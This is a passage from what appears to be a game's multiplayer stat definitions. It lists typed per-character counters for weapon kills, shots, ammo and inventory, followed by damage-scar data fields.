MP1_ // Number of times mp char 0 fired weapon +(int)ASLTSHTGN_HITS // Add MP0_ or MP1_ // Number of times mp char 0 hit with weapon +(int)ASLTSHTGN_HEADSHOTS // Add MP0_ or MP1_ // Number of times mp char 0 killed by headshot with weapon +(u32)ASLTSHTGN_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(int)ASLTSHTGN_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)ASLTSHTGN_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)ASLTSHTGN_ENEMY_KILLS // Add MP0_ or MP1_ // Number of enemies killed with weapon (S) +(bool)ASLTSHTGN_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)ASLTSHTGN_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + + +(int)STUNGUN_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed with weapon +(int)STUNGUN_DEATHS // Add MP0_ or MP1_ // Number of times mp char 0 killed by weapon +(int)STUNGUN_SHOTS // Add MP0_ or MP1_ // Number of times mp char 0 fired weapon +(int)STUNGUN_HITS // Add MP0_ or MP1_ // Number of times mp char 0 hit with weapon +(int)STUNGUN_HEADSHOTS // Add MP0_ or MP1_ // Number of times mp char 0 killed by headshot with weapon +(u32)STUNGUN_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(u32)STUNGUN_DB_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(int)STUNGUN_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)STUNGUN_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)STUNGUN_ENEMY_KILLS // Add MP0_ or MP1_ // Number of enemies killed with weapon (S) +(bool)STUNGUN_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)STUNGUN_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + +(int)SNIPERRFL_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed with weapon +(int)SNIPERRFL_DEATHS // Add MP0_ or MP1_ // Number of times mp char 0 killed by weapon +(int)SNIPERRFL_SHOTS // Add MP0_ or MP1_ // Number of times mp char 0 fired weapon +(int)SNIPERRFL_HITS // Add MP0_ or MP1_ // Number of times mp char 0 hit with weapon +(int)SNIPERRFL_HEADSHOTS // Add MP0_ or MP1_ // Number of times mp char 0 killed by headshot with weapon +(u32)SNIPERRFL_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(int)SNIPERRFL_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)SNIPERRFL_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)SNIPERRFL_ENEMY_KILLS // Add MP0_ or MP1_ // Number of enemies killed with weapon (S) +(bool)SNIPERRFL_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)SNIPERRFL_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + +(int)HVYSNIPER_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed with weapon +(int)HVYSNIPER_DEATHS // Add MP0_ or MP1_ // Number of times mp char 0 killed by weapon +(int)HVYSNIPER_SHOTS // Add MP0_ or MP1_ // Number of times mp char 0 fired weapon +(int)HVYSNIPER_HITS // Add MP0_ or MP1_ // Number of times mp char 0 hit with weapon +(int)HVYSNIPER_HEADSHOTS // Add MP0_ or MP1_ // Number of times mp char 0 killed by headshot with weapon +(u32)HVYSNIPER_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(int)HVYSNIPER_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)HVYSNIPER_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)HVYSNIPER_ENEMY_KILLS // Add MP0_ or MP1_ // Number of enemies killed with weapon (S) +(bool)HVYSNIPER_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)HVYSNIPER_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + +(int)ASLTSNIP_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)ASLTSNIP_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(bool)ASLTSNIP_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)ASLTSNIP_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + + +(int)GRNLAUNCH_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed with weapon +(int)GRNLAUNCH_DEATHS // Add MP0_ or MP1_ // Number of times mp char 0 killed by weapon +(int)GRNLAUNCH_SHOTS // Add MP0_ or MP1_ // Number of times mp char 0 fired weapon +(u32)GRNLAUNCH_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(int)GRNLAUNCH_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)GRNLAUNCH_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)GRNLAUNCH_ENEMY_KILLS // Add MP0_ or MP1_ // Number of enemies killed with weapon (S) +(bool)GRNLAUNCH_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)GRNLAUNCH_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + +(int)RPG_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed with weapon +(int)RPG_DEATHS // Add MP0_ or MP1_ // Number of times mp char 0 killed by weapon +(int)RPG_SHOTS // Add MP0_ or MP1_ // Number of times mp char 0 fired weapon +(u32)RPG_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(int)RPG_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)RPG_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)RPG_ENEMY_KILLS // Add MP0_ or MP1_ // Number of enemies killed with weapon (S) +(bool)RPG_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)RPG_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + +(int)MINIGUNS_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed with weapon +(int)MINIGUNS_DEATHS // Add MP0_ or MP1_ // Number of times mp char 0 killed by weapon +(int)MINIGUNS_SHOTS // Add MP0_ or MP1_ // Number of times mp char 0 fired weapon +(int)MINIGUNS_HITS // Add MP0_ or MP1_ // Number of times mp char 0 hit with weapon +(int)MINIGUNS_HEADSHOTS // Add MP0_ or MP1_ // Number of times mp char 0 killed by headshot with weapon +(u32)MINIGUNS_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(int)MINIGUNS_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)MINIGUNS_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)MINIGUNS_ENEMY_KILLS // Add MP0_ or MP1_ // Number of enemies killed with weapon (S) +(bool)MINIGUNS_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)MINIGUNS_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + + +(int)GRENADE_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed with weapon +(int)GRENADE_DEATHS // Add MP0_ or MP1_ // Number of times mp char 0 killed by weapon +(int)GRENADE_SHOTS // Add MP0_ or MP1_ // Number of times mp char 0 fired weapon +(u32)GRENADE_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(u32)GRENADE_DB_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(int)GRENADE_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)GRENADE_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)GRENADE_ENEMY_KILLS // Add MP0_ or MP1_ // Number of enemies killed with weapon (S) +(bool)GRENADE_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)GRENADE_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + + + +(int)SMKGRENADE_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed with weapon +(int)SMKGRENADE_DEATHS // Add MP0_ or MP1_ // Number of times mp char 0 killed by weapon +(int)SMKGRENADE_SHOTS // Add MP0_ or MP1_ // Number of times mp char 0 fired weapon +(int)SMKGRENADE_HITS // Add MP0_ or MP1_ // Number of times mp char 0 hit with weapon +(u32)SMKGRENADE_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(u32)SMKGRENADE_DB_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(int)SMKGRENADE_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)SMKGRENADE_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)SMKGRENADE_ENEMY_KILLS // Add MP0_ or MP1_ // Number of enemies killed with weapon (S) +(bool)SMKGRENADE_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)SMKGRENADE_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + + + +(int)STKYBMB_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed with weapon +(int)STKYBMB_DEATHS // Add MP0_ or MP1_ // Number of times mp char 0 killed by weapon +(int)STKYBMB_SHOTS // Add MP0_ or MP1_ // Number of times mp char 0 fired weapon +(u32)STKYBMB_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(u32)STKYBMB_DB_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(int)STKYBMB_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)STKYBMB_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)STKYBMB_ENEMY_KILLS // Add MP0_ or MP1_ // Number of enemies killed with weapon (S) +(bool)STKYBMB_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)STKYBMB_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + + +(int)MOLOTOV_KILLS // Add MP0_ or MP1_ // Number of times mp char 0 killed with weapon +(int)MOLOTOV_DEATHS // Add MP0_ or MP1_ // Number of times mp char 0 killed by weapon +(int)MOLOTOV_SHOTS // Add MP0_ or MP1_ // Number of times mp char 0 fired weapon +(int)MOLOTOV_HITS // Add MP0_ or MP1_ // Number of times mp char 0 hit with weapon +(u32)MOLOTOV_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(u32)MOLOTOV_DB_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) +(int)MOLOTOV_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)MOLOTOV_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)MOLOTOV_ENEMY_KILLS // Add MP0_ or MP1_ // Number of enemies killed with weapon (S) +(bool)MOLOTOV_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)MOLOTOV_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + + +(u32)EXTINGUISHER_HELDTIME // Add MP0_ or MP1_ // Time mp char 0 held weapon (MS) + +(int)VEHICLE_ROCKET_KILLS // Add MP0_ or MP1_ // Number of times mp char 1 killed with weapon +(int)VEHICLE_ROCKET_DEATHS // Add MP0_ or MP1_ // Number of times mp char 1 killed by weapon +(int)VEHICLE_ROCKET_SHOTS // Add MP0_ or MP1_ // Number of times mp char 1 fired weapon +(int)VEHICLE_ROCKET_HITS // Add MP0_ or MP1_ // Number of times mp char 1 hit with weapon +(u32)VEHICLE_ROCKET_HELDTIME // Add MP0_ or MP1_ // Time mp char 1 held weapon (MS) +(int)VEHICLE_ROCKET_ENEMY_KILLS // Add MP0_ or MP1_ // Time mp char 1 held inventory weapon (S) + +(int)RHINO_ROCKET_KILLS // Add MP0_ or MP1_ // Number of times mp char 1 killed with weapon +(int)RHINO_ROCKET_DEATHS // Add MP0_ or MP1_ // Number of times mp char 1 killed by weapon +(int)RHINO_ROCKET_SHOTS // Add MP0_ or MP1_ // Number of times mp char 1 fired weapon +(int)RHINO_ROCKET_HITS // Add MP0_ or MP1_ // Number of times mp char 1 hit with weapon +(u32)RHINO_ROCKET_HELDTIME // Add MP0_ or MP1_ // Time mp char 1 held weapon (MS) +(int)RHINO_ROCKET_ENEMY_KILLS // Add MP0_ or MP1_ // Time mp char 1 held inventory weapon (S) +(int)PASS_ROCKET_KILLS // Add MP0_ or MP1_ // Number of times mp char 1 killed with weapon +(int)PASS_ROCKET_DEATHS // Add MP0_ or MP1_ // Number of times mp char 1 killed by weapon +(int)PASS_ROCKET_SHOTS // Add MP0_ or MP1_ // Number of times mp char 1 fired weapon +(int)PASS_ROCKET_HITS // Add MP0_ or MP1_ // Number of times mp char 1 hit with weapon +(u32)PASS_ROCKET_HELDTIME // Add MP0_ or MP1_ // Time mp char 1 held weapon (MS) +(int)PASS_ROCKET_ENEMY_KILLS // Add MP0_ or MP1_ // Time mp char 1 held inventory weapon (S) +(int)AIRSTRIKE_KILLS // Add MP0_ or MP1_ // Number of times mp char 1 killed with weapon +(int)AIRSTRIKE_DEATHS // Add MP0_ or MP1_ // Number of times mp char 1 killed by weapon +(int)AIRSTRIKE_SHOTS // Add MP0_ or MP1_ // Number of times mp char 1 fired weapon +(int)AIRSTRIKE_HITS // Add MP0_ or MP1_ // Number of times mp char 1 hit with weapon +(u32)AIRSTRIKE_HELDTIME // Add MP0_ or MP1_ // Time mp char 1 held weapon (MS) +(int)AIRSTRIKE_ENEMY_KILLS // Add MP0_ or MP1_ // Time mp char 1 held inventory weapon (S) +(int)VEH_ROCKET_KILLS // Add MP0_ or MP1_ // Number of times mp char 1 killed with weapon +(int)VEH_ROCKET_DEATHS // Add MP0_ or MP1_ // Number of times mp char 1 killed by weapon +(int)VEH_ROCKET_SHOTS // Add MP0_ or MP1_ // Number of times mp char 1 fired weapon +(int)VEH_ROCKET_HITS // Add MP0_ or MP1_ // Number of times mp char 1 hit with weapon +(u32)VEH_ROCKET_HELDTIME // Add MP0_ or MP1_ // Time mp char 1 held weapon (MS) +(int)VEH_ROCKET_ENEMY_KILLS // Add MP0_ or MP1_ // Time mp char 1 held inventory weapon (S) +(int)BUZZARD_BULLET_KILLS // Add MP0_ or MP1_ // Number of times mp char 1 killed with weapon +(int)BUZZARD_BULLET_DEATHS // Add MP0_ or MP1_ // Number of times mp char 1 killed by weapon +(int)BUZZARD_BULLET_SHOTS // Add MP0_ or MP1_ // Number of times mp char 1 fired weapon +(int)BUZZARD_BULLET_HITS // Add MP0_ or MP1_ // Number of times mp char 1 hit with weapon +(int)BUZZARD_BULLET_HEADSHOTS // Add MP0_ or MP1_ // Number of times mp char 1 killed by headshot with weapon +(u32)BUZZARD_BULLET_HELDTIME // Add MP0_ or MP1_ // Time mp char 1 held weapon (MS) +(int)BUZZARD_BULLET_ENEMY_KILLS // Add MP0_ or MP1_ // Time mp char 1 held inventory weapon (S) +(int)BUZZARD_ROCKET_KILLS // Add MP0_ or MP1_ // Number of times mp char 1 killed with weapon +(int)BUZZARD_ROCKET_DEATHS // Add MP0_ or MP1_ // Number of times mp char 1 killed by weapon +(int)BUZZARD_ROCKET_SHOTS // Add MP0_ or MP1_ // Number of times mp char 1 fired weapon +(int)BUZZARD_ROCKET_HITS // Add MP0_ or MP1_ // Number of times mp char 1 hit with weapon +(u32)BUZZARD_ROCKET_HELDTIME // Add MP0_ or MP1_ // Time mp char 1 held weapon (MS) +(int)BUZZARD_ROCKET_ENEMY_KILLS // Add MP0_ or MP1_ // Time mp char 1 held inventory weapon (S) +(int)ANNIHL_BULLET_KILLS // Add MP0_ or MP1_ // Number of times mp char 1 killed with weapon +(int)ANNIHL_BULLET_DEATHS // Add MP0_ or MP1_ // Number of times mp char 1 killed by weapon +(int)ANNIHL_BULLET_SHOTS // Add MP0_ or MP1_ // Number of times mp char 1 fired weapon +(int)ANNIHL_BULLET_HITS // Add MP0_ or MP1_ // Number of times mp char 1 hit with weapon +(int)ANNIHL_BULLET_HEADSHOTS // Add MP0_ or MP1_ // Number of times mp char 1 killed by headshot with weapon +(u32)ANNIHL_BULLET_HELDTIME // Add MP0_ or MP1_ // Time mp char 1 held weapon (MS) +(int)ANNIHL_BULLET_ENEMY_KILLS // Add MP0_ or MP1_ // Time mp char 1 held inventory weapon (S) +(int)HUNTER_BULLET_KILLS // Add MP0_ or MP1_ // Number of times mp char 1 killed with weapon +(int)HUNTER_BULLET_DEATHS // Add MP0_ or MP1_ // Number of times mp char 1 killed by weapon +(int)HUNTER_BULLET_SHOTS // Add MP0_ or MP1_ // Number of times mp char 1 fired weapon +(int)HUNTER_BULLET_HITS // Add MP0_ or MP1_ // Number of times mp char 1 hit with weapon +(int)HUNTER_BULLET_HEADSHOTS // Add MP0_ or MP1_ // Number of times mp char 1 killed by headshot with weapon +(u32)HUNTER_BULLET_HELDTIME // Add MP0_ or MP1_ // Time mp char 1 held weapon (MS) +(int)HUNTER_BULLET_ENEMY_KILLS // Add MP0_ or MP1_ // Time mp char 1 held inventory weapon (S) +(int)HUNTER_ROCKET_KILLS // Add MP0_ or MP1_ // Number of times mp char 1 killed with weapon +(int)HUNTER_ROCKET_DEATHS // Add MP0_ or MP1_ // Number of times mp char 1 killed by weapon +(int)HUNTER_ROCKET_SHOTS // Add MP0_ or MP1_ // Number of times mp char 1 fired weapon +(int)HUNTER_ROCKET_HITS // Add MP0_ or MP1_ // Number of times mp char 1 hit with weapon +(u32)HUNTER_ROCKET_HELDTIME // Add MP0_ or MP1_ // Time mp char 1 held weapon (MS) +(int)HUNTER_ROCKET_ENEMY_KILLS // Add MP0_ or MP1_ // Time mp char 1 held inventory weapon (S) +(int)LAZER_BULLET_KILLS // Add MP0_ or MP1_ // Number of times mp char 1 killed with weapon +(int)LAZER_BULLET_DEATHS // Add MP0_ or MP1_ // Number of times mp char 1 killed by weapon +(int)LAZER_BULLET_SHOTS // Add MP0_ or MP1_ // Number of times mp char 1 fired weapon +(int)LAZER_BULLET_HITS // Add MP0_ or MP1_ // Number of times mp char 1 hit with weapon +(int)LAZER_BULLET_HEADSHOTS // Add MP0_ or MP1_ // Number of times mp char 1 killed by headshot with weapon +(u32)LAZER_BULLET_HELDTIME // Add MP0_ or MP1_ // Time mp char 1 held weapon (MS) +(int)LAZER_BULLET_ENEMY_KILLS // Add MP0_ or MP1_ // Time mp char 1 held inventory weapon (S) +(int)LAZER_ROCKET_KILLS // Add MP0_ or MP1_ // Number of times mp char 1 killed with weapon +(int)LAZER_ROCKET_DEATHS // Add MP0_ or MP1_ // Number of times mp char 1 killed by weapon +(int)LAZER_ROCKET_SHOTS // Add MP0_ or MP1_ // Number of times mp char 1 fired weapon +(int)LAZER_ROCKET_HITS // Add MP0_ or MP1_ // Number of times mp char 1 hit with weapon +(u32)LAZER_ROCKET_HELDTIME // Add MP0_ or MP1_ // Time mp char 1 held weapon (MS) +(int)LAZER_ROCKET_ENEMY_KILLS // Add MP0_ or MP1_ // Time mp char 1 held inventory weapon (S) +(int)SPPLAYER_LASER_KILLS // Add MP0_ or MP1_ // Number of times mp char 1 killed with weapon +(int)SPPLAYER_LASER_DEATHS // Add MP0_ or MP1_ // Number of times mp char 1 killed by weapon +(int)SPPLAYER_LASER_SHOTS // Add MP0_ or MP1_ // Number of times mp char 1 fired weapon +(int)SPPLAYER_LASER_HITS // Add MP0_ or MP1_ // Number of times mp char 1 hit with weapon +(u32)SPPLAYER_LASER_HELDTIME // Add MP0_ or MP1_ // Time mp char 1 held weapon (MS) +(int)SPPLAYER_LASER_ENEMY_KILLS // Add MP0_ or MP1_ // Time mp char 1 held inventory weapon (S) +(int)WATER_CANNON_KILLS // Add MP0_ or MP1_ // Number of times mp char 1 killed with weapon +(int)WATER_CANNON_DEATHS // Add MP0_ or MP1_ // Number of times mp char 1 killed by weapon +(int)PARACHUTE_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)PARACHUTE_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(bool)PARACHUTE_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(int)PARACHUTE_CURRENT_TINT // Add MP0_ or MP1_ // Is weapon in inventory + +(int)PETROLCAN_FM_AMMO_BOUGHT // Add MP0_ or MP1_ // Ammo bought for weapon +(int)PETROLCAN_FM_AMMO_CURRENT // Add MP0_ or MP1_ // Ammo bought for weapon +(bool)PETROLCAN_IN_POSSESSION // Add MP0_ or MP1_ // Is weapon in inventory +(bool)PETROLCAN_AQUIRED_AS_GIFT // Add MP0_ or MP1_ // Is weapon in inventory + +(int)HELMET_CURRENT_COLOR // Add MP0_ or MP1_ // Is weapon in inventory + + + +(int)DAMAGE_SCAR_NUMBER // Add MP0_ or MP1_ // Damage Scar Data - Number of Scars + +(int)DAMAGE_SCAR_ZONE_0 // Add MP0_ or MP1_ // Damage Scar Data - ePedDamageZones zone +(int)DAMAGE_SCAR_HASH_VALUE_0 // Add MP0_ or MP1_ // Damage Scar Data - Name hashed +(float)DAMAGE_SCAR_SCALE_0 // Add MP0_ or MP1_ // Damage Scar Data - scale +(float)DAMAGE_SCAR_ROTATION_0 // Add MP0_ or MP1_ // Damage Scar Data - rotation +(pos)DAMAGE_SCAR_UVPOS_0 // Add MP0_ or MP1_ // Damage Scar Data - uv Position +(int)DAMAGE_SCAR_FORCEFRAME_0 // Add MP0_ or MP1_ // Damage Scar Data - force frame +(float)DAMAGE_SCAR_AGE_0 // Add MP0_ or MP1_ // Damage Scar Data - Age + +(int)DAMAGE_SCAR_ZONE_1 // Add MP0_ or MP1_ // Damage Scar Data - ePedDamageZones zone +(int)DAMAGE_SCAR_HASH_VALUE_1 // Add MP0_ or MP1_ // Damage Scar Data - Name hashed +(float)DAMAGE_SCAR_SCALE_1 // Add MP0_ or MP1_ // Damage Scar Data - scale +(float)DAMAGE_SCAR_ROTATION_1 // Add MP0_ or MP1_ // Damage Scar Data - rotation +(pos)DAMAGE_SCAR_UVPOS_1 // Add MP0_ or MP1_ // Damage Scar Data - uv Position +(int)DAMAGE_SCAR_FORCEFRAME_1 // Add MP0_ or MP1_ // Damage Scar Data - force frame +(float)DAMAGE_SCAR_AGE_1 // Add MP0_ or MP1_ // Damage Scar Data - Age + +(int)DAMAGE_SCAR_ZONE_2 // Add MP0_ or MP1_ // Damage Scar Data - ePedDamageZones zone +(int)DAMAGE_SCAR_HASH_VALUE_2 // Add MP0_ or MP1_ // Damage Scar Data - Name hashed +(float)DAMAGE_SCAR_SCALE_2 // Add MP0_ or MP1_ // Damage Scar Data - scale +(float)DAMAGE_SCAR_ROTATION_2 // Add MP0_ or MP1_ // Damage Scar Data - rotation +(pos)DAMAGE_SCAR_UVPOS_2 // Add MP0_ or MP1_ // Damage Scar Data - uv Position +(int)DAMAGE_SCAR_FORCEFRAME_2 // Add MP0_ or MP1_ // Damage Scar Data - force frame +(float)DAMAGE_SCAR_AGE_2 // Add MP0_ or MP1_ // Damage Scar Data - Age + +(int)DAMAGE_SCAR_ZONE_3 // Add MP0_ or MP1_ // Damage Scar Data - ePedDamageZones zone +(int)DAMAGE_SCAR_HASH_VALUE_3 // Add MP0_ or MP1_ // Damage Scar Data - Name hashed +(float)DAMAGE_SCAR_SCALE_3 // Add MP0_ or MP1_ // Damage Scar Data - scale +(float)DAMAGE_SCAR_ROTATION_3 // Add MP0_ or MP1_ // Damage Scar Data - rotation +(pos)DAMAGE_SCAR_UVPOS_3 // Add MP0_ or MP1_ // Damage Scar Data - uv Position +(int)DAMAGE_SCAR_FORCEFRAME_3 // Add MP0_ or MP1_ // Damage Scar Data - force frame +(float)DAMAGE_SCAR_AGE_3 // Add MP0_ or MP1_ // Damage Scar Data - Age + +(int)DAMAGE_SCAR_ZONE_4 // Add MP0_ or MP1_ // Damage Scar Data - ePedDamageZones zone +(int)DAMAGE_SCAR_HASH_VALUE_4 // Add MP0_ or MP1_ // Damage Scar Data - Name hashed +(float)DAMAGE_SCAR_SCALE_4 // Add MP0_ or MP1_ // Damage Scar Data - scale +(float)DAMAGE_SCAR_ROTATION_4 // Add MP0_ or MP1_ // Damage Scar Data - rotation +(pos)DAMAGE_SCAR_UVPOS_4 // Add MP0_ or MP1_ // Damage Scar Data - uv Position +(int)DAMAGE_SCAR_FORCEFRAME_4 // Add MP0_ or MP1_ // Damage Scar Data - force frame +(float)DAMAGE_SCAR_AGE_4 // Add MP0_ or MP1_ // Damage Scar Data - Age + +(int)DAMAGE_SCAR_ZONE_5 // Add MP0_ or MP1_ // Damage Scar Data - ePedDamageZones zone +(int)DAMAGE_SCAR_HASH_VALUE_5 // Add MP0_ or MP1_ // Damage Scar Data - Name hashed +(float)DAMAGE_SCAR_SCALE_5 // Add MP0_ or MP1_ // Damage Scar Data - scale +(float)DAMAGE_SCAR_ROTATION_5 // Add MP0_ or MP1_ // Damage Scar Data - rotation +(pos)DAMAGE_SCAR_UVPOS_5 // Add MP0_ or MP1_ // Damage Scar Data - uv Position +(int)DAMAGE_SCAR_FORCEFRAME_5 // Add MP0_ or MP1_ // Damage Scar Data - force frame +(float)DAMAGE_SCAR_AGE_5 // Add MP0_ or MP1_ // Damage Scar Data - Age + +(int)DAMAGE_SCAR_ZONE_6 // Add MP0_ or MP1_ // Damage Scar Data - ePedDamageZones zone +(int)DAMAGE_SCAR_HASH_VALUE_6 // Add MP0_ or MP1_ // Damage Scar Data - Name hashed +(float)DAMAGE_SCAR_SCALE_6 // Add MP0_ or MP1_ // Damage Scar Data - scale +(float)DAMAGE_SCAR_ROTATION_6 // Add MP0_ or MP1_ // Damage Scar Data - rotation +(pos)DAMAGE_SCAR_UVPOS_6 // Add MP0_ or MP1_ // Damage Scar Data - uv Position +(int)DAMAGE_SCAR_FORCEFRAME_6 // Add MP0_ or MP1_ // Damage Scar Data - force frame +(float)DAMAGE_SCAR_AGE_6 // Add MP0_ or MP1_ // Damage Scar Data - Age + +(int)DAMAGE_SCAR_ZONE_7 // Add MP0_ or MP1_ // Damage Scar Data - ePedDamageZones zone +(int)DAMAGE_SCAR_HASH_VALUE_7 // Add MP0_ or MP1_ // Damage Scar Data - Name hashed +(float)DAMAGE_SCAR_SCALE_7 // Add MP0_ or MP1_ // Damage Scar Data - scale +(float)DAMAGE_SCAR_ROTATION_7 // Add MP0_ or MP1_ // Damage Scar Data - rotation +(pos)DAMAGE_SCAR_UVPOS_7 // Add MP0_ or MP1_ // Damage Scar Data - uv Position +(int)DAMAGE_SCAR_FORCEFRAME_7 // Add MP0_ or MP1_ // Damage Scar Data - force frame +(float)DAMAGE_SCAR_AGE_7 // Add MP0_ or MP1_ // Damage Scar Data - Age + +(int)DAMAGE_SCAR_ZONE_8 // Add MP0_ or MP1_ // Damage Scar Data - ePedDamageZones zone +(int)DAMAGE_SCAR_HASH_VALUE_8 // Add MP0_ or MP1_ // Damage Scar Data - Name hashed +(float)DAMAGE_SCAR_SCALE_8 // Add MP0_ or MP1_ // Damage Scar Data - scale +(float)DAMAGE_SCAR_ROTATION_8 // Add MP0_ or MP1_ // Damage Scar Data - rotation +(pos)DAMAGE_SCAR_UVPOS_8 // Add MP0_ or MP1_ // Damage Scar Data - uv Position +(int)DAMAGE_SCAR_FORCEFRAME_8 // Add MP0_ or MP1_ // Damage Scar Data - force frame +(float)DAMAGE_SCAR_AGE_8 // Add MP0_ or MP1_ // Damage Scar Data - Age + +(int)DAMAGE_SCAR_ZONE_9 // Add MP0_ or MP1_ // Damage Scar Data - ePedDamageZones zone +(int)DAMAGE_SCAR_HASH_VALUE_9 // Add MP0_ or MP1_ // Damage Scar Data - Name hashed +(float)DAMAGE_SCAR_SCALE_9 // Add MP0_ or MP1_ // Damage Scar Data - scale +(float)DAMAGE_SCAR_ROTATION_9 // Add MP0_ or MP1_ // Damage Scar Data - rotation +(pos)DAMAGE_SCAR_UVPOS_9 // Add MP0_ or MP1_ // Damage Scar Data - uv Position +(int)DAMAGE_SCAR_FORCEFRAME_9 // Add MP0_ or MP1_ // Damage Scar Data - force frame +(float)DAMAGE_SCAR_AGE_9 // Add MP0_ or MP1_ // Damage Scar Data - Age + +(int)DAMAGE_SCAR_ZONE_10 // Add MP0_ or MP1_ // Damage Scar Data - ePedDamageZones zone +(int)DAMAGE_SCAR_HASH_VALUE_10 // Add MP0_ or MP1_ // Damage Scar Data - Name hashed +(float)DAMAGE_SCAR_SCALE_10 // Add MP0_ or MP1_ // Damage Scar Data - scale +(float)DAMAGE_SCAR_ROTATION_10 // Add MP0_ or MP1_ // Damage Scar Data - rotation +(pos)DAMAGE_SCAR_UVPOS_10 // Add MP0_ or MP1_ // Damage Scar Data - uv Position +(int)DAMAGE_SCAR_FORCEFRAME_10 // Add MP0_ or MP1_ // Damage Scar Data - force frame +(float)DAMAGE_SCAR_AGE_10 // Add MP0_ or MP1_ // Damage Scar Data - Age + +(int)DAMAGE_SCAR_ZONE_11 // Add MP0_ or MP1_ // Damage Scar Data - ePedDamageZones zone +(int)DAMAGE_SCAR_HASH_VALUE_11 // Add MP0_ or MP1_ // Damage Scar Data - Name hashed +(float)DAMAGE_SCAR_SCALE_11 // Add MP0_ or MP1_ // Damage Scar Data - scale 